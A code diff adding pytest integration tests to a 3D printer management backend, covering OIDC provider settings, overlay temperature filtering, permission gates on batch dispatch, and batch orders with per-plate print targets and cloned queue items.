+    created = await async_client.post(
+        "/api/v1/auth/oidc/providers",
+        json={
+            "name": "UI provider",
+            "issuer_url": "https://other.example.com",
+            "client_id": "ui",
+            "client_secret": "ui-secret",
+            "scopes": "openid",
+            "is_enabled": True,
+            "auto_create_users": False,
+        },
+        headers=_auth_header(token),
+    )
+    provider_id = created.json()["id"]
+
+    response = await async_client.put(
+        f"/api/v1/auth/oidc/providers/{provider_id}",
+        json={"name": "Renamed"},
+        headers=_auth_header(token),
+    )
+
+    assert response.status_code == 200
+    assert response.json()["name"] == "Renamed"
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_the_response_says_which_provider_is_env_managed(async_client: AsyncClient, db_session):
+    """The frontend needs this to render the lock; without it the UI would show
+    editable fields whose writes the API then refuses."""
+    await _env_managed_provider(db_session)
+    token = await _setup_and_login(async_client, "envlockflag", "envlockflag123")
+
+    response = await async_client.get("/api/v1/auth/oidc/providers/all", headers=_auth_header(token))
+
+    assert response.status_code == 200
+    providers = response.json()
+    assert any(p["is_env_managed"] for p in providers)

+ 43 - 0
backend/tests/integration/test_oidc_env_startup.py

@@ -0,0 +1,43 @@
+"""The env provider is applied on startup, not merely appliable (#2593).
+
+test_oidc_env_apply.py calls apply_env_oidc_provider() directly, so it stays
+green even if nothing ever calls it -- deleting the lifespan call would leave
+the feature dead with a fully passing suite. These tests pin the call site.
+
+They read the lifespan's source rather than running it: the function is ~460
+lines and starts printer connections, MQTT and schedulers, so executing it
+here would test everything except the one line in question. That makes this a
+wiring check, not a behavioural one -- it proves the call exists and runs
+after migrations, and deliberately proves nothing about what it does. The
+behaviour is covered by test_oidc_env_apply.py.
+"""
+
+from __future__ import annotations
+
+import inspect
+
+from backend.app.main import lifespan
+
+
+def _lifespan_source() -> str:
+    return inspect.getsource(lifespan)
+
+
+def test_lifespan_applies_the_env_oidc_provider():
+    assert "apply_env_oidc_provider(" in _lifespan_source()
+
+
+def test_it_runs_after_the_migrations():
+    """is_env_managed does not exist until run_migrations has added it, so an
+    upsert before init_db() would fail on every existing installation."""
+    source = _lifespan_source()
+    assert source.index("await init_db()") < source.index("apply_env_oidc_provider(")
+
+
+def test_the_apply_call_is_awaited():
+    """apply_env_oidc_provider is a coroutine; calling it without await would
+    return an un-awaited coroutine and silently apply nothing."""
+    source = _lifespan_source()
+    call = source.index("apply_env_oidc_provider(")
+    line_start = source.rindex("\n", 0, call) + 1
+    assert source[line_start:call].strip().endswith("await")

+ 51 - 0
backend/tests/integration/test_overlay_status_api.py

@@ -156,6 +156,7 @@ class TestOverlayFeedPayload:
             "layer_num",
             "layer_num",
             "total_layers",
             "total_layers",
             "stg_cur_name",
             "stg_cur_name",
+            "temperatures",
             "time_format",
             "time_format",
         }
         }
 
 
@@ -171,6 +172,56 @@ class TestOverlayFeedPayload:
         assert entry["connected"] is False
         assert entry["connected"] is False
         assert entry["state"] is None
         assert entry["state"] is None
         assert entry["current_print"] is None
         assert entry["current_print"] is None
+        # Present but empty rather than absent (#1422): the overlay reads the
+        # key unconditionally, and an offline printer simply has no readings.
+        assert entry["temperatures"] == {}
+
+    async def test_temperatures_are_filtered_not_passed_through(
+        self, async_client: AsyncClient, printer_row, monkeypatch
+    ):
+        """#1422 — the overlay can draw nozzle/bed/chamber, so the feed carries
+        them. It sends only the readings it draws: `state.temperatures` is also
+        the MQTT client's working memory and holds private bookkeeping and
+        derived heater flags that an overlay token has no business seeing.
+        """
+        from backend.app.services import printer_manager as pm
+
+        class _FakeState:
+            connected = True
+            state = "RUNNING"
+            current_print = "bracket.3mf"
+            gcode_file = "/data/Metadata/plate_1.gcode"
+            progress = 42.0
+            remaining_time = 30
+            layer_num = 10
+            total_layers = 100
+            stg_cur = -1
+            temperatures = {
+                "nozzle": 219.7,
+                "nozzle_target": 220.0,
+                "bed": 60.0,
+                "bed_target": 60.0,
+                "chamber": 38.0,
+                "nozzle_heating": True,
+                "_nozzle_target_set_time": 1754300000.0,
+            }
+
+        monkeypatch.setattr(pm.printer_manager, "get_status", lambda _pid: _FakeState())
+
+        jwt = await _setup_admin(async_client, suffix="_temps")
+        overlay_token = await _mint(async_client, jwt, scope="overlay")
+
+        response = await async_client.get(f"/api/v1/printers/{printer_row.id}/overlay-status?token={overlay_token}")
+        temps = response.json()["temperatures"]
+
+        assert temps["nozzle"] == 219.7
+        assert temps["nozzle_target"] == 220.0
+        assert temps["bed"] == 60.0
+        # The fixture printer is a P1S — no real chamber sensor, so the
+        # meaningless reading is dropped rather than drawn on a live stream.
+        assert "chamber" not in temps
+        assert "nozzle_heating" not in temps
+        assert "_nozzle_target_set_time" not in temps
 
 
     async def test_unknown_printer_is_404_not_401(self, async_client: AsyncClient):
     async def test_unknown_printer_is_404_not_401(self, async_client: AsyncClient):
         """A valid token for a printer id that doesn't exist is a 404 — the token
         """A valid token for a printer id that doesn't exist is a 404 — the token

+ 117 - 0
backend/tests/integration/test_ownership_permissions.py

@@ -398,6 +398,123 @@ class TestArchiveOwnershipPermissions(TestOwnershipPermissionsSetup):
         assert response.status_code == 403
         assert response.status_code == 403
         assert "reprint" in response.json()["detail"].lower()
         assert "reprint" in response.json()["detail"].lower()
 
 
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_batch_dispatch_allowed_for_own_archive_with_reprint_own(
+        self, async_client: AsyncClient, auth_setup, archive_factory, printer_factory, db_session
+    ):
+        """The dispatch gate must not block the ordinary self-service case (#342)."""
+        headers = {"Authorization": f"Bearer {auth_setup['operator_token']}"}
+        printer = await printer_factory()
+        archive = await archive_factory(printer.id, created_by_id=auth_setup["operator_user"]["id"])
+
+        order = await async_client.post(
+            "/api/v1/queue/batches",
+            headers=headers,
+            json={
+                "name": "Own order",
+                "archive_id": archive.id,
+                "plates": [{"plate_id": 1, "quantity_target": 2}],
+            },
+        )
+        assert order.status_code == 200
+        batch_id = order.json()["id"]
+        assert (
+            await async_client.post(
+                "/api/v1/queue/",
+                headers=headers,
+                json={
+                    "printer_id": printer.id,
+                    "archive_id": archive.id,
+                    "batch_id": batch_id,
+                    "plate_id": 1,
+                },
+            )
+        ).status_code == 200
+
+        response = await async_client.post(f"/api/v1/queue/batches/{batch_id}/dispatch", headers=headers, json={})
+        assert response.status_code == 200
+        assert response.json()["remaining_count"] == 0
+        assert response.json()["pending_count"] == 2
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_batch_dispatch_honours_the_reprint_gate(
+        self, async_client: AsyncClient, auth_setup, archive_factory, printer_factory, db_session
+    ):
+        """Dispatching a batch order must not be a weaker door than POST /queue/ (#342).
+
+        Dispatch clones existing queue items, so without the same source-file
+        gate a caller holding queue:create and queue:update_all — but
+        explicitly denied archives:reprint_* — could start prints of an
+        archive that POST /queue/ would have refused them.
+        """
+        admin_headers = {"Authorization": f"Bearer {auth_setup['admin_token']}"}
+        group_resp = await async_client.post(
+            "/api/v1/groups/",
+            headers=admin_headers,
+            json={
+                "name": "BatchDispatchNoReprint",
+                "description": "Test group: can manage the queue but not reprint archives",
+                "permissions": [
+                    "queue:create",
+                    "queue:read_all",
+                    "queue:update_all",
+                    "archives:read_all",
+                    "printers:read",
+                ],
+            },
+        )
+        assert group_resp.status_code in (200, 201)
+        await async_client.post(
+            "/api/v1/users/",
+            headers=admin_headers,
+            json={
+                "username": "batch_noreprint_user",
+                "password": "BatchNoreprint1!",
+                "group_ids": [group_resp.json()["id"]],
+            },
+        )
+        login = await async_client.post(
+            "/api/v1/auth/login",
+            json={"username": "batch_noreprint_user", "password": "BatchNoreprint1!"},
+        )
+        token = login.json()["access_token"]
+
+        # Admin builds an order with one dispatched run and two still owed.
+        printer = await printer_factory()
+        archive = await archive_factory(printer.id, created_by_id=auth_setup["admin_user"]["id"])
+        order = await async_client.post(
+            "/api/v1/queue/batches",
+            headers=admin_headers,
+            json={
+                "name": "Gated order",
+                "archive_id": archive.id,
+                "plates": [{"plate_id": 1, "quantity_target": 3}],
+            },
+        )
+        assert order.status_code == 200
+        batch_id = order.json()["id"]
+        seeded = await async_client.post(
+            "/api/v1/queue/",
+            headers=admin_headers,
+            json={"printer_id": printer.id, "archive_id": archive.id, "batch_id": batch_id, "plate_id": 1},
+        )
+        assert seeded.status_code == 200
+
+        response = await async_client.post(
+            f"/api/v1/queue/batches/{batch_id}/dispatch",
+            headers={"Authorization": f"Bearer {token}"},
+            json={},
+        )
+
+        assert response.status_code == 403
+        assert "reprint" in response.json()["detail"].lower()
+
+        # And nothing was queued behind the refusal.
+        listing = await async_client.get(f"/api/v1/queue/batches/{batch_id}", headers=admin_headers)
+        assert listing.json()["pending_count"] == 1
+
     @pytest.mark.asyncio
     @pytest.mark.asyncio
     @pytest.mark.integration
     @pytest.mark.integration
     async def test_queue_route_ownerless_archive_requires_reprint_all(
     async def test_queue_route_ownerless_archive_requires_reprint_all(

+ 833 - 0
backend/tests/integration/test_print_batch_orders.py

@@ -0,0 +1,833 @@
+"""Integration tests for batch orders — per-plate targets and staged dispatch (#342).
+
+The behaviour these lock down that the pre-#342 batch could not express: a
+failed or cancelled run does not satisfy a target, so the order keeps saying it
+owes a print until one actually completes.
+"""
+
+from datetime import datetime
+
+import pytest
+from httpx import AsyncClient
+
+
+@pytest.fixture
+async def printer_factory(db_session):
+    _counter = [0]
+
+    async def _create_printer(**kwargs):
+        from backend.app.models.printer import Printer
+
+        _counter[0] += 1
+        counter = _counter[0]
+        defaults = {
+            "name": f"Batch Printer {counter}",
+            "ip_address": f"192.168.9.{100 + counter}",
+            "serial_number": f"BATCHSERIAL{counter:04d}",
+            "access_code": "12345678",
+            "model": "X1C",
+        }
+        defaults.update(kwargs)
+        printer = Printer(**defaults)
+        db_session.add(printer)
+        await db_session.commit()
+        await db_session.refresh(printer)
+        return printer
+
+    return _create_printer
+
+
+@pytest.fixture
+async def archive_factory(db_session):
+    _counter = [0]
+
+    async def _create_archive(**kwargs):
+        from backend.app.models.archive import PrintArchive
+
+        _counter[0] += 1
+        counter = _counter[0]
+        defaults = {
+            "filename": f"batch_order_{counter}.3mf",
+            "print_name": f"Batch Order {counter}",
+            "file_path": f"/tmp/batch_order_{counter}.3mf",
+            "file_size": 2048,
+            "content_hash": f"batchhash{counter:08d}",
+            "status": "completed",
+        }
+        defaults.update(kwargs)
+        archive = PrintArchive(**defaults)
+        db_session.add(archive)
+        await db_session.commit()
+        await db_session.refresh(archive)
+        return archive
+
+    return _create_archive
+
+
+async def _create_order(async_client: AsyncClient, archive_id: int, plates: list[dict], **extra):
+    payload = {"name": "Test Order", "archive_id": archive_id, "plates": plates}
+    payload.update(extra)
+    response = await async_client.post("/api/v1/queue/batches", json=payload)
+    assert response.status_code == 200, response.text
+    return response.json()
+
+
+async def _queue_item(async_client: AsyncClient, printer_id: int, archive_id: int, batch_id: int, **extra):
+    payload = {"printer_id": printer_id, "archive_id": archive_id, "batch_id": batch_id}
+    payload.update(extra)
+    response = await async_client.post("/api/v1/queue/", json=payload)
+    assert response.status_code == 200, response.text
+    return response.json()
+
+
+async def _set_status(db_session, item_id: int, status: str):
+    from backend.app.models.print_queue import PrintQueueItem
+
+    item = await db_session.get(PrintQueueItem, item_id)
+    item.status = status
+    await db_session.commit()
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchOrderTargets:
+    async def test_order_reports_per_plate_targets(self, async_client, archive_factory):
+        """The reporter's own example: plate 1 once, plate 2 twice, plate 3 three times."""
+        archive = await archive_factory()
+        order = await _create_order(
+            async_client,
+            archive.id,
+            [
+                {"plate_id": 1, "plate_name": "Base", "quantity_target": 1, "sort_order": 0},
+                {"plate_id": 2, "quantity_target": 2, "sort_order": 1},
+                {"plate_id": 3, "quantity_target": 3, "sort_order": 2},
+            ],
+        )
+
+        assert order["has_targets"] is True
+        assert order["target_count"] == 6
+        assert order["remaining_count"] == 6
+        assert [p["plate_id"] for p in order["plates"]] == [1, 2, 3]
+        assert [p["quantity_target"] for p in order["plates"]] == [1, 2, 3]
+        assert order["plates"][0]["plate_name"] == "Base"
+        # Nothing dispatched yet, so nothing has been consumed.
+        assert all(p["dispatched"] == 0 for p in order["plates"])
+
+    async def test_zero_target_plate_is_allowed(self, async_client, archive_factory):
+        """ "Plate 3 not required" keeps its row so it can be raised later."""
+        archive = await archive_factory()
+        order = await _create_order(
+            async_client,
+            archive.id,
+            [{"plate_id": 1, "quantity_target": 2}, {"plate_id": 2, "quantity_target": 0}],
+        )
+        assert order["target_count"] == 2
+        plate_two = next(p for p in order["plates"] if p["plate_id"] == 2)
+        assert plate_two["quantity_target"] == 0
+        assert plate_two["remaining"] == 0
+
+    async def test_order_requesting_nothing_is_rejected(self, async_client, archive_factory):
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/batches",
+            json={
+                "name": "Empty",
+                "archive_id": archive.id,
+                "plates": [{"plate_id": 1, "quantity_target": 0}],
+            },
+        )
+        assert response.status_code == 400
+        assert "at least one print" in response.json()["detail"]
+
+    async def test_duplicate_plate_is_rejected(self, async_client, archive_factory):
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/batches",
+            json={
+                "name": "Dupes",
+                "archive_id": archive.id,
+                "plates": [{"plate_id": 1, "quantity_target": 1}, {"plate_id": 1, "quantity_target": 2}],
+            },
+        )
+        assert response.status_code == 400
+        assert "Duplicate plate" in response.json()["detail"]
+
+    async def test_duplicate_whole_file_plate_is_rejected(self, async_client, archive_factory):
+        """NULL plate_id slips past the DB unique constraint, so the route must catch it."""
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/batches",
+            json={
+                "name": "Dupes",
+                "archive_id": archive.id,
+                "plates": [{"quantity_target": 1}, {"quantity_target": 2}],
+            },
+        )
+        assert response.status_code == 400
+        assert "whole file" in response.json()["detail"]
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchOrderProgress:
+    async def test_failed_run_leaves_the_work_owed(self, async_client, printer_factory, archive_factory, db_session):
+        """The whole point of storing targets: a burned print is still owed."""
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 2}])
+
+        first = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        second = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+
+        await _set_status(db_session, first["id"], "completed")
+        await _set_status(db_session, second["id"], "failed")
+
+        response = await async_client.get(f"/api/v1/queue/batches/{order['id']}")
+        result = response.json()
+        assert result["completed_count"] == 1
+        assert result["failed_count"] == 1
+        # One completed, one burned — the order still owes a print.
+        assert result["remaining_count"] == 1
+        assert result["status"] == "active"
+
+    async def test_cancelled_run_also_leaves_the_work_owed(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 1}])
+        item = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, item["id"], "cancelled")
+
+        result = (await async_client.get(f"/api/v1/queue/batches/{order['id']}")).json()
+        assert result["cancelled_count"] == 1
+        assert result["remaining_count"] == 1
+
+    async def test_pending_and_printing_consume_the_target(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        """In-flight work must not be re-dispatched — that would double-print."""
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 2}])
+        first = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, first["id"], "printing")
+
+        result = (await async_client.get(f"/api/v1/queue/batches/{order['id']}")).json()
+        assert result["printing_count"] == 1
+        assert result["pending_count"] == 1
+        assert result["remaining_count"] == 0
+
+    async def test_legacy_batch_without_targets_owes_nothing(self, async_client, printer_factory, archive_factory):
+        """Batches created before #342 keep working and report has_targets=false."""
+        printer = await printer_factory()
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": printer.id, "archive_id": archive.id, "quantity": 3}
+        )
+        batch_id = response.json()["batch_id"]
+
+        result = (await async_client.get(f"/api/v1/queue/batches/{batch_id}")).json()
+        assert result["has_targets"] is False
+        assert result["pending_count"] == 3
+        assert result["remaining_count"] == 0
+        assert result["target_count"] == 3
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchOrderCompletion:
+    async def test_status_flips_to_completed_when_targets_met(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 1}])
+        item = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, item["id"], "completed")
+
+        # Reading the order re-evaluates it; the PATCH path and the print
+        # completion hook do the same.
+        patched = await async_client.patch(f"/api/v1/queue/batches/{order['id']}", json={})
+        assert patched.status_code == 200
+        assert patched.json()["status"] == "completed"
+        assert patched.json()["completed_at"] is not None
+
+    async def test_raising_a_target_reopens_a_completed_order(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 1}])
+        item = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, item["id"], "completed")
+        assert (await async_client.patch(f"/api/v1/queue/batches/{order['id']}", json={})).json()[
+            "status"
+        ] == "completed"
+
+        reopened = await async_client.patch(
+            f"/api/v1/queue/batches/{order['id']}",
+            json={"plates": [{"plate_id": 1, "quantity_target": 3}]},
+        )
+        assert reopened.status_code == 200
+        assert reopened.json()["status"] == "active"
+        assert reopened.json()["completed_at"] is None
+        assert reopened.json()["remaining_count"] == 2
+
+    async def test_legacy_batch_with_everything_cancelled_reads_as_cancelled(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        """Cancelling every item of a grouping finishes it, but produces nothing.
+
+        "Completed" would be a lie — its derived target is zero — and leaving it
+        active would strand it on the Batches tab forever. Cancelled is what it
+        is, and is what the batch-level Cancel action would have set.
+        """
+        printer = await printer_factory()
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": printer.id, "archive_id": archive.id, "quantity": 2}
+        )
+        batch_id = response.json()["batch_id"]
+
+        from sqlalchemy import select
+
+        from backend.app.models.print_queue import PrintQueueItem
+
+        items = (
+            (await db_session.execute(select(PrintQueueItem).where(PrintQueueItem.batch_id == batch_id)))
+            .scalars()
+            .all()
+        )
+        for item in items:
+            item.status = "cancelled"
+        await db_session.commit()
+
+        patched = await async_client.patch(f"/api/v1/queue/batches/{batch_id}", json={})
+        assert patched.status_code == 200
+        assert patched.json()["status"] == "cancelled"
+        assert patched.json()["completed_at"] is None
+
+    async def test_an_order_with_every_run_cancelled_still_owes_them(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        """The grouping rule must not leak into orders.
+
+        An order states its intent independently of its runs, so cancelling
+        them all leaves it owing the work and offering to re-queue.
+        """
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 2}])
+        first = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        second = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, first["id"], "cancelled")
+        await _set_status(db_session, second["id"], "cancelled")
+
+        patched = (await async_client.patch(f"/api/v1/queue/batches/{order['id']}", json={})).json()
+        assert patched["status"] == "active"
+        assert patched["remaining_count"] == 2
+
+    async def test_cancelled_order_is_never_resurrected(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 1}])
+        item = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await async_client.delete(f"/api/v1/queue/batches/{order['id']}")
+        await _set_status(db_session, item["id"], "completed")
+
+        result = (await async_client.get(f"/api/v1/queue/batches/{order['id']}")).json()
+        assert result["status"] == "cancelled"
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchBacklog:
+    """The Batches tab must not open on months of stale rows.
+
+    `completed` only became a reachable status with #342, so every batch
+    created since the feature shipped is still `active` however long ago its
+    last run finished.
+    """
+
+    async def test_startup_backfill_closes_finished_batches(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        from backend.app.services.print_batch import backfill_batch_statuses
+
+        printer = await printer_factory()
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": printer.id, "archive_id": archive.id, "quantity": 2}
+        )
+        batch_id = response.json()["batch_id"]
+
+        from sqlalchemy import select
+
+        from backend.app.models.print_queue import PrintQueueItem
+
+        items = (
+            (await db_session.execute(select(PrintQueueItem).where(PrintQueueItem.batch_id == batch_id)))
+            .scalars()
+            .all()
+        )
+        for item in items:
+            item.status = "completed"
+        await db_session.commit()
+
+        assert (await async_client.get(f"/api/v1/queue/batches/{batch_id}")).json()["status"] == "active"
+
+        changed = await backfill_batch_statuses(db_session)
+        assert changed >= 1
+        assert (await async_client.get(f"/api/v1/queue/batches/{batch_id}")).json()["status"] == "completed"
+
+    async def test_backfill_leaves_in_flight_batches_alone(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        from backend.app.services.print_batch import backfill_batch_statuses
+
+        printer = await printer_factory()
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": printer.id, "archive_id": archive.id, "quantity": 2}
+        )
+        batch_id = response.json()["batch_id"]
+
+        await backfill_batch_statuses(db_session)
+        assert (await async_client.get(f"/api/v1/queue/batches/{batch_id}")).json()["status"] == "active"
+
+    async def test_backfill_is_idempotent(self, async_client, printer_factory, archive_factory, db_session):
+        from backend.app.services.print_batch import backfill_batch_statuses
+
+        printer = await printer_factory()
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": printer.id, "archive_id": archive.id, "quantity": 1}
+        )
+        item_id = response.json()["id"]
+        await _set_status(db_session, item_id, "completed")
+        order = await _create_order(async_client, archive.id, [{"plate_id": 9, "quantity_target": 1}])
+
+        first = await backfill_batch_statuses(db_session)
+        second = await backfill_batch_statuses(db_session)
+        assert second == 0, "a second pass must have nothing left to change"
+        assert first >= 0
+        # The untouched order owes work and stays active across both passes.
+        assert (await async_client.get(f"/api/v1/queue/batches/{order['id']}")).json()["status"] == "active"
+
+    async def test_empty_shell_batches_are_not_listed(self, async_client, db_session):
+        """A grouping whose items went with their archive has nothing to show."""
+        from backend.app.models.print_batch import PrintBatch
+
+        shell = PrintBatch(name="Orphaned grouping", quantity=1, status="active")
+        db_session.add(shell)
+        await db_session.commit()
+        await db_session.refresh(shell)
+
+        listed = (await async_client.get("/api/v1/queue/batches")).json()
+        assert all(b["id"] != shell.id for b in listed)
+        # Still addressable directly — only the list hides it.
+        assert (await async_client.get(f"/api/v1/queue/batches/{shell.id}")).status_code == 200
+
+    async def test_a_new_order_is_listed_before_its_first_dispatch(self, async_client, archive_factory):
+        """Targets are enough to be worth showing — that is what it owes."""
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 3}])
+
+        listed = (await async_client.get("/api/v1/queue/batches")).json()
+        assert any(b["id"] == order["id"] for b in listed)
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchOrderDispatch:
+    async def test_dispatch_clones_the_print_configuration(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 2, "quantity_target": 3}])
+        source = await _queue_item(
+            async_client,
+            printer.id,
+            archive.id,
+            order["id"],
+            plate_id=2,
+            timelapse=True,
+            use_ams=False,
+            bed_levelling="off",
+            ams_mapping=[3, -1],
+        )
+
+        response = await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={})
+        assert response.status_code == 200
+        assert response.json()["remaining_count"] == 0
+        assert response.json()["pending_count"] == 3
+
+        from sqlalchemy import select
+
+        from backend.app.models.print_queue import PrintQueueItem
+
+        rows = (
+            (
+                await db_session.execute(
+                    select(PrintQueueItem).where(PrintQueueItem.batch_id == order["id"]).order_by(PrintQueueItem.id)
+                )
+            )
+            .scalars()
+            .all()
+        )
+        assert len(rows) == 3
+        clones = [r for r in rows if r.id != source["id"]]
+        for clone in clones:
+            assert clone.plate_id == 2
+            assert clone.printer_id == printer.id
+            assert clone.timelapse is True
+            assert clone.use_ams is False
+            assert clone.bed_levelling == "off"
+            assert clone.ams_mapping == "[3, -1]"
+            assert clone.status == "pending"
+            # Lifecycle state is not copied.
+            assert clone.started_at is None
+            assert clone.completed_at is None
+            assert clone.dispatch_attempts == 0
+            # Never replayed onto a clone: it would delete the source file out
+            # from under the rest of the order.
+            assert clone.cleanup_library_after_dispatch is False
+
+    async def test_clones_land_in_their_own_printer_queue(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        """Positions are per-printer sequences — a global MAX would scramble them."""
+        printer_a = await printer_factory()
+        printer_b = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(
+            async_client,
+            archive.id,
+            [{"plate_id": 1, "quantity_target": 3}, {"plate_id": 2, "quantity_target": 2}],
+        )
+        # Pad printer B's queue so a global MAX would push plate 1's clones
+        # past the end of printer A's much shorter queue.
+        for _ in range(5):
+            await async_client.post("/api/v1/queue/", json={"printer_id": printer_b.id, "archive_id": archive.id})
+        await _queue_item(async_client, printer_a.id, archive.id, order["id"], plate_id=1)
+        await _queue_item(async_client, printer_b.id, archive.id, order["id"], plate_id=2)
+
+        response = await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={})
+        assert response.status_code == 200
+
+        from sqlalchemy import select
+
+        from backend.app.models.print_queue import PrintQueueItem
+
+        for printer in (printer_a, printer_b):
+            rows = (
+                (
+                    await db_session.execute(
+                        select(PrintQueueItem)
+                        .where(PrintQueueItem.printer_id == printer.id)
+                        .where(PrintQueueItem.status == "pending")
+                    )
+                )
+                .scalars()
+                .all()
+            )
+            positions = sorted(r.position for r in rows)
+            assert len(positions) == len(set(positions)), f"duplicate positions on printer {printer.id}"
+            assert positions == list(range(1, len(rows) + 1)), f"gap in printer {printer.id} queue"
+
+    async def test_clone_differs_from_its_source_only_in_lifecycle_state(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        """Guard for future columns.
+
+        A clone must carry every *setting* of the item it copies and reset
+        every piece of *lifecycle* state. Adding a new setting column to
+        PrintQueueItem without listing it in CLONED_SETTING_COLUMNS would make
+        the second run of a plate behave differently from the first — silently,
+        and on real hardware. This fails when that happens.
+        """
+        from sqlalchemy import inspect, select
+
+        from backend.app.models.print_queue import PrintQueueItem
+
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 2}])
+        source_id = (
+            await _queue_item(
+                async_client,
+                printer.id,
+                archive.id,
+                order["id"],
+                plate_id=1,
+                timelapse=True,
+                use_ams=False,
+                bed_levelling="off",
+                flow_cali="on",
+                vibration_cali=False,
+                layer_inspect=True,
+                gcode_injection=True,
+                auto_off_after=True,
+                require_previous_success=True,
+            )
+        )["id"]
+
+        # Dirty the source with scheduler state that must not be inherited.
+        source = await db_session.get(PrintQueueItem, source_id)
+        source.dispatch_attempts = 3
+        source.been_jumped = True
+        source.gate_acknowledged = True
+        source.filament_short = True
+        source.waiting_reason = "no idle printer"
+        source.error_message = "previous failure"
+        source.scheduled_time = datetime(2026, 1, 1, 12, 0, 0)
+        await db_session.commit()
+
+        assert (await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={})).status_code == 200
+
+        clone = (
+            (
+                await db_session.execute(
+                    select(PrintQueueItem)
+                    .where(PrintQueueItem.batch_id == order["id"])
+                    .where(PrintQueueItem.id != source_id)
+                )
+            )
+            .scalars()
+            .one()
+        )
+
+        # Every column that is neither identity, ordering, nor deliberately reset
+        # must match the source exactly.
+        reset_on_clone = {
+            "status",
+            "waiting_reason",
+            "been_jumped",
+            "dispatch_attempts",
+            "dispatching_at",
+            "gate_acknowledged",
+            "filament_short",
+            "error_message",
+            "started_at",
+            "completed_at",
+            "scheduled_time",
+            "cleanup_library_after_dispatch",
+        }
+        identity = {"id", "created_at", "position"}
+
+        await db_session.refresh(source)
+        for column in (c.key for c in inspect(PrintQueueItem).mapper.column_attrs):
+            if column in identity or column in reset_on_clone:
+                continue
+            assert getattr(clone, column) == getattr(source, column), (
+                f"{column} was not carried onto the clone — a new setting column probably needs adding to "
+                "CLONED_SETTING_COLUMNS"
+            )
+
+        assert clone.status == "pending"
+        assert clone.dispatch_attempts == 0
+        assert clone.been_jumped is False
+        assert clone.gate_acknowledged is False
+        assert clone.filament_short is False
+        assert clone.waiting_reason is None
+        assert clone.error_message is None
+        assert clone.started_at is None and clone.completed_at is None
+        # "Queue the rest now" must not replay a moment chosen for a different print.
+        assert clone.scheduled_time is None
+        # Would delete the source file out from under the rest of the order.
+        assert clone.cleanup_library_after_dispatch is False
+
+    async def test_dispatch_respects_limit(self, async_client, printer_factory, archive_factory):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 10}])
+        await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+
+        result = (await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={"limit": 4})).json()
+        assert result["pending_count"] == 5  # the original plus four
